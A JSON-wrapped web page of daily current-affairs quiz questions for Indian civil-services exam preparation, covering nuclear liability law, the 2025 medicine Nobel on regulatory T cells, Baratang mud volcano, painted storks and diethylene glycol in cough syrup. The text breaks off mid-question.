{"id":2522,"date":"2025-10-09T06:44:03","date_gmt":"2025-10-09T06:44:03","guid":{"rendered":"https:\/\/iasquest.com\/?p=2522"},"modified":"2026-02-11T18:51:14","modified_gmt":"2026-02-11T18:51:14","slug":"daily-current-affairs-07-10-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-07-10-2025\/","title":{"rendered":"Daily Current Affairs \u2013 07-10-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following statements with respect to nuclear power generation in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">I. The Atomic Energy Act, 1962 enables Private and foreign participation in nuclear power generation in India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">II. The Civil Liability for Nuclear Damage Act, 2010 establishes a legal framework for liability and compensation in the event of a nuclear accident in India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(a) I only\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(b) II only\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(c) Both I and I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(d) Neither I nor II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Answer: (b) II only<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>In NEWS:<\/strong> Government deliberating on questions of radioactive waste, private sector\u2019s role in proposed nuclear bill<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Nuclear Power Generation in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Atomic Energy Act, 1962 restricts nuclear power generation to government entities<\/strong> such as:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li>NPCIL (Nuclear Power Corporation of India Limited)<ul><li>BHAVINI (Bharatiya Nabhikiya Vidyut Nigam Limited)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>ASHVINI (NPCIL-NTPC JV). <strong>Hence statement I is incorrect.<\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li><strong>Civil Liability for Nuclear Damage Act, 2010 <\/strong>(CLND Act) \u2014 imposes operator and supplier liability, making foreign suppliers wary of participating. <strong>Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>India is also a <strong>member of the International Atomic Energy Agency (IAEA)<\/strong> and follows global nuclear safety norms.<\/li>\n\n\n\n<li>As of 2025, India<strong> operates 24 nuclear reactors<\/strong> with an installed capacity of around 7,480 MW, and several others are under construction.<\/li>\n\n\n\n<li>Nuclear energy currently contributes about <strong>3% of India\u2019s total electricity generation.<\/strong><\/li>\n\n\n\n<li>India aims to increase nuclear capacity to 22,480 MW by 2031 and 100 GW by 2047 as part of its long-term clean energy strategy.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Three-Stage Nuclear Programme:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\">India\u2019s indigenous nuclear power strategy, conceptualized by Dr. Homi J. Bhabha, is based on a three-stage plan:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Stage I \u2013<\/strong> <strong>Pressurized Heavy Water Reactors (PHWRs): <\/strong>Use natural uranium as fuel and heavy water as moderator.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Stage II \u2013<\/strong> <strong>Fast Breeder Reactors (FBRs):<\/strong> Use plutonium produced from Stage I as fuel and generate more fissile material than they consume.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Stage III \u2013<\/strong> <strong>Thorium-based Reactors (Advanced Heavy Water or Molten Salt Reactors):<\/strong> Utilize India\u2019s vast thorium reserves to ensure long-term energy independence.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Proposed Changes in the Nuclear Energy Sector:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li><strong>Amendments to:<\/strong><ul><li>Atomic Energy Act (1962)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Civil Liability for Nuclear Damage Act (2010)<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>To enable:<\/strong><ul><li>Private and foreign participation in nuclear energy.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Public\u2013Private Partnerships (PPPs) in reactor design, construction, and operation.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2011)<\/strong> <br><strong>Q. The function of heavy water in a nuclear reactor is to<\/strong> <br><br><strong>(a) Slow down the speed of neutrons<\/strong> <br>(b) Increase the speed of neutrons <br>(c) Cool down the reactor <br>(d) Both (a) and (c)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/government-deliberating-on-questions-of-radioactive-waste-private-sectors-role-in-proposed-nuclear-bill\/article70131422.ece#:~:text=Deliberations%20within%20the%20government%20continue,technologies%20still%20being%20ironed%20out\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/government-deliberating-on-questions-of-radioactive-waste-private-sectors-role-in-proposed-nuclear-bill\/article70131422.ece#:~:text=Deliberations%20within%20the%20government%20continue,technologies%20still%20being%20ironed%20out<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><a><\/a><strong>2. Which of the following are functions of Regulatory T Cells (Tregs) in the human immune system?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">1. Prevention of autoimmune diseases<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">2. Regulation of inflammatory responses<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">3. Maintenance of immune homeostasis<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">4. Facilitation of organ transplantation success<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">(b) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">(c) 2, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Answer: (d) 1, 2, 3 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>In NEWS: <\/strong>Medicine Nobel for scientists who demystified the immune system<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>2025 Nobel Prize in Physiology or Medicine<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>Awarded for: <em>Discoveries related to the role of regulatory T cells (Tregs) in immune tolerance<\/em><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Laureates:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>1. Shimon Sakaguchi<\/strong> (Japan)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>2. Mary E. Brunkow<\/strong> (USA)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>3. Fred Ramsdell<\/strong> (USA)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Key Discoveries:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>1. Discovery of Regulatory T Cells (Tregs) \u2013 <em>Shimon Sakaguchi (1995)<\/em><\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-43\">\n<li>Identified a unique subset of T cells (now known as Tregs) that prevent immune system overactivation.<\/li>\n\n\n\n<li>Challenged the earlier belief that self-reactive immune cells are eliminated solely in the thymus (<em>central tolerance<\/em>).<\/li>\n\n\n\n<li>Proposed <strong>peripheral tolerance<\/strong> via Tregs as a second layer of immune regulation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>2. FOXP3 Gene Discovery \u2013 <em>Mary Brunkow &amp; Fred Ramsdell (2001)<\/em><\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-45\">\n<li>Found that mutation in the <strong>FOXP3 gene<\/strong> causes immune dysregulation:<ul><li>In mice: &#8220;Scurfy&#8221; disease (severe autoimmune condition)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>In humans: <strong>IPEX syndrome<\/strong> (Immune dysregulation, Polyendocrinopathy, Enteropathy, X-linked)<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>FOXP3 was identified as a <strong>master regulator gene<\/strong> for development and function of regulatory T cells.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3. Link Between FOXP3 and Tregs<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">Established that <strong>FOXP3 is essential for Treg development<\/strong>, thus connecting molecular genetics to immune regulation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Importance of the Discovery:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Regulatory T Cells (Tregs)<\/strong> are vital in:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-49\">\n<li>Preventing <strong>autoimmune diseases<\/strong><ul><li>Controlling <strong>inflammation<\/strong><\/li><\/ul><ul><li>Maintaining <strong>immune homeostasis<\/strong><\/li><\/ul><ul><li>Enabling successful <strong>organ transplantation<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Modulating immune response in <strong>cancer<\/strong> (where Tregs can suppress anti-tumor immunity)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Hence all are correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>Applications in Medicine:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-52\">\n<li><strong>Autoimmune diseases<\/strong>: Boosting Tregs could help treat lupus, Type 1 diabetes, multiple sclerosis.<\/li>\n\n\n\n<li><strong>Organ transplantation<\/strong>: Tregs may help prevent graft rejection.<\/li>\n\n\n\n<li><strong>Cancer treatment<\/strong>: Modulating Tregs to enhance immune attack on tumors.<\/li>\n\n\n\n<li><strong>Chronic inflammation<\/strong>: Managing diseases like Crohn&#8217;s disease, rheumatoid arthritis.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><strong>Q. Which one of the following statements best describes the role of B cells and T cells in the human body?<\/strong> <br><br>(a) They protect the body from environmental allergens. <br>(b) They alleviate the body&#8217;s pain and inflammation. <br>(c) They act as immunosuppressants in the body. <br><strong>(d) They protect the body from the diseases caused by pathogens.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/medicine-nobel-2025-awarded-to-trio-for-t-cells-discovery\/article70130490.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/medicine-nobel-2025-awarded-to-trio-for-t-cells-discovery\/article70130490.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>3. Consider the following statements with respect to Mud Volcanoes:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">1. They are often associated with tectonically active zones and hydrocarbon-rich sediments.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">2. Unlike magmatic volcanoes, eruptions of Mud volcanoes are usually cool.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">3. Baratang Mud Volcano located in the Andaman &amp; Nicobar Islands is the only active mud volcano in India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">(a) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">(c) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>In NEWS: <\/strong>GSI team to visit Andaman to investigate eruption at India&#8217;s only active mud volcano in Baratang<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>Baratang Mud Volcano:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-67\">\n<li>Located in Baratang Island, Andaman &amp; Nicobar Islands, India about 100 km north of Port Blair.<\/li>\n\n\n\n<li>It emits mud, water, and methane gas, not molten lava.<\/li>\n\n\n\n<li>Height: ~3\u20134 meters, with small eruptions, especially during monsoon.<\/li>\n\n\n\n<li>It is surrounded by mangrove forests and limestone formations.<\/li>\n\n\n\n<li>It is located in a seismically active zone at the India\u2013Burma plate boundary, associated with subduction zones, methane-rich sediments, and tectonic activity.<\/li>\n\n\n\n<li>It is the only active mud volcano in India. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>Eruptions may be triggered by earthquakes or plate movements.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"281\" height=\"179\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-13.jpg\" alt=\"\" class=\"wp-image-2525\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"300\" height=\"181\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-12.jpg\" alt=\"\" class=\"wp-image-2524\"\/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>Mud Volcanoes :<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-69\">\n<li>A mud volcano is a geological structure where<strong> mud, water, and gases (mainly methane, carbon dioxide) erupt from underground.<\/strong><\/li>\n\n\n\n<li>Unlike magmatic volcanoes, no molten lava is involved; eruptions are usually cool, and mostly mud flows. <strong>&nbsp;Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Often associated with tectonically active zones and hydrocarbon-rich sediments. <strong>&nbsp;Hence statement 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Examples<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-71\">\n<li>Baratang Island, Andaman &amp; Nicobar Islands \u2013 only active mud volcano in India. <strong>&nbsp;<\/strong><\/li>\n\n\n\n<li>Balochistan, Pakistan \u2013 multiple mud volcanoes along the Makran coast.<\/li>\n\n\n\n<li>Azerbaijan (Gobustan) \u2013 known as \u201cLand of Fire,\u201d with hundreds of mud volcanoes.<\/li>\n\n\n\n<li>Trinidad &amp; Tobago \u2013 mud volcanoes along fault lines.<\/li>\n\n\n\n<li>Indonesia &amp; Taiwan \u2013 tectonically active mud volcano sites.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><strong>Q. Consider the following statements:<\/strong> \u00a0 <br><br>1. The Barren Island volcano is an active volcano located in the Indian territory. <br>2. Barren Island lies about 140 km east of Great Nicobar. <br>3. The last time the Barren Island volcano erupted was in 1991 and it has remained inactive since then. \u00a0 <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <strong>\u00a0<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 and 3 <br>(c) 3 only <br>(d) 1 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/economictimes.indiatimes.com\/news\/india\/gsi-team-to-visit-andaman-to-investigate-eruption-at-indias-only-active-mud-volcano-in-baratang\/articleshow\/124318526.cms?from=mdr\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/economictimes.indiatimes.com\/news\/india\/gsi-team-to-visit-andaman-to-investigate-eruption-at-indias-only-active-mud-volcano-in-baratang\/articleshow\/124318526.cms?from=mdr<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>4. Which of the following organisms uses a distinctive \u201cside-to-side sweeping motion\u201d of the half-open beak in shallow water to catch fish?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">(a) Painted stork<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">(b) Indian Nightjar<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">(c) White Ibis<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">(d) Common Myna<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Answer: (a) Painted stork<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>In NEWS:<\/strong> \u2018Kaziranga welcomes an old guest\u2019: Assam celebrates return of painted storks after 4 years<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Painted Stork:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-82\">\n<li>A large wading bird belonging to the stork family (Ciconiidae).<\/li>\n\n\n\n<li>Recognized by its pink tertial feathers, yellow beak, and white plumage with black markings.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"300\" height=\"181\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-12.jpg\" alt=\"\" class=\"wp-image-2523\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"295\" height=\"206\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image.gif\" alt=\"\" class=\"wp-image-2526\"\/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>Habitat &amp; Distribution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-84\">\n<li>Found in<strong> tropical Asia, mainly in India, Sri Lanka, Nepal, Myanmar, and parts of Southeast Asia.<\/strong><\/li>\n\n\n\n<li>Prefers freshwater wetlands, marshes, lakes, floodplains, and shallow ponds.<\/li>\n\n\n\n<li>Often nests in large trees near water bodies \u2014 commonly seen with other colonial nesting birds like herons and ibises.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Conservation Status<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-86\">\n<li>IUCN Red List: <strong>Least Concern (LC)<\/strong>, though previously Near Threatened.<\/li>\n\n\n\n<li>CITES: <strong>Appendix II<\/strong> (trade controlled).<\/li>\n\n\n\n<li>Wildlife (Protection) Act, 1972: <strong>Schedule IV<\/strong> (protected species in India).<\/li>\n\n\n\n<li>Population trend: Increasing, though localized declines exist due to habitat loss and pollution.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>Unique Features<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-88\">\n<li>Feeding Habit: Uses a distinctive<strong> \u201cside-to-side sweeping motion\u201d <\/strong>of the half-open beak in shallow water to catch fish. <strong>Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li>Colonial Nester: Breeds in large communal rookeries with other waterbirds, a sign of wetland health.<\/li>\n\n\n\n<li>Non-Migratory but Locally Nomadic: Moves seasonally in response to water availability.<\/li>\n\n\n\n<li>Ecological Role: Acts as a <strong>bio-indicator species<\/strong> of wetland ecosystem health.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>Threats<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-90\">\n<li>Wetland degradation and conversion to agriculture or urban land.<\/li>\n\n\n\n<li>Pollution and eutrophication and reducing fish populations.<\/li>\n\n\n\n<li>Disturbance at nesting sites and deforestation near wetlands.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><strong>Q. Which of the following organisms perform a waggle dance for others of their kin to indicate the direction and the distance to a source of their food? (2023)<\/strong> \u00a0 <br><br>(a) Butterflies <br>(b) Dragonflies <br><strong>(c) Honey Bees<\/strong> <br>(d) Wasps \u00a0 <br><br><strong>Q. If you walk through countryside, you are likely to see some birds stalking alongside the cattle to seize the insects disturbed by their movement through grasses. Which of the following is\/are such bird\/birds? (2014)<\/strong> <strong>\u00a0<\/strong> <br><br>1. Painted Stork <br>2. Common Myna <br>3. Black-necked Crane \u00a0 <br><br><strong>Select the correct answer using the code given below.<\/strong> <strong>\u00a0<\/strong> <br><br>(a) 1 and 2 <br><strong>(b) 2 only<\/strong> <br>(c) 2 and 3 <br>(d) 3 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/lifestyle\/pets-animals\/kaziranga-assam-himanta-celebrates-painted-storks-return-10286932\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/lifestyle\/pets-animals\/kaziranga-assam-himanta-celebrates-painted-storks-return-10286932\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>5. Diethylene Glycol is a colorless, odorless, and hygroscopic organic compound.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>It is a toxic alcohol used industrially as a solvent, antifreeze, and in the production of resins, plastics, and brake fluids. It is highly toxic to humans, especially when ingested. However, it has been found in some pharmaceutical formulations because<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">(a) It is approved by regulatory authorities as a safe pharmaceutical excipient.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">(b) It enhances the flavor and color of syrups.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(c) It is a cheaper substitute for safe excipients like glycerin or propylene glycol.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(d) It helps in increasing the shelf life of the product and is used widely for that purpose.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Answer: (c) It is a cheaper substitute for safe excipients like glycerin or propylene glycol.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>In NEWS: <\/strong>Coldrif cough syrup contamination linked to deaths of at least 16 children. Poor compliance with Good Manufacturing Practices (GMP) and Good Laboratory Practices (GLP)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Diethylene Glycol (DEG -C\u2084H\u2081\u2080O\u2083):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-102\">\n<li>Diethylene Glycol (DEG) is a colorless, odorless, and hygroscopic organic compound.<\/li>\n\n\n\n<li>It is a toxic alcohol used industrially as a solvent, antifreeze, and in the production of resins, plastics, and brake fluids.<\/li>\n\n\n\n<li>DEG is highly toxic to humans, especially when ingested.<\/li>\n\n\n\n<li>It has been mistakenly used in pharmaceutical formulations, often as a cheaper substitute for safe excipients like glycerin or propylene glycol. <strong>Hence option (c) is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>Health Effects of DEG Poisoning:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-104\">\n<li>Toxic dose: As little as 1 ml\/kg can be fatal.<\/li>\n\n\n\n<li>Target organs: Kidneys, liver, and central nervous system.<\/li>\n\n\n\n<li>Symptoms: Vomiting, Abdominal pain, Altered mental status, Acute kidney failure, Metabolic acidosis, Neurological complications and Death in severe cases<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2011)<\/strong> <br><strong>Q. Aspartame is an artificial sweetener sold in the market. It consists of amino acids and provides calories like other amino acids. Yet, it is used as a low\u00adcalorie sweetening agent in food items. What is the basis of this use?<\/strong> <br><br>(a) Aspartame is as sweet as table sugar, but unlike table sugar, it is not readily oxidized in human body due to lack of requisite enzymes. <br>(b) When aspartame is used in food processing, the sweet taste remains, but it becomes resistant to oxidation. 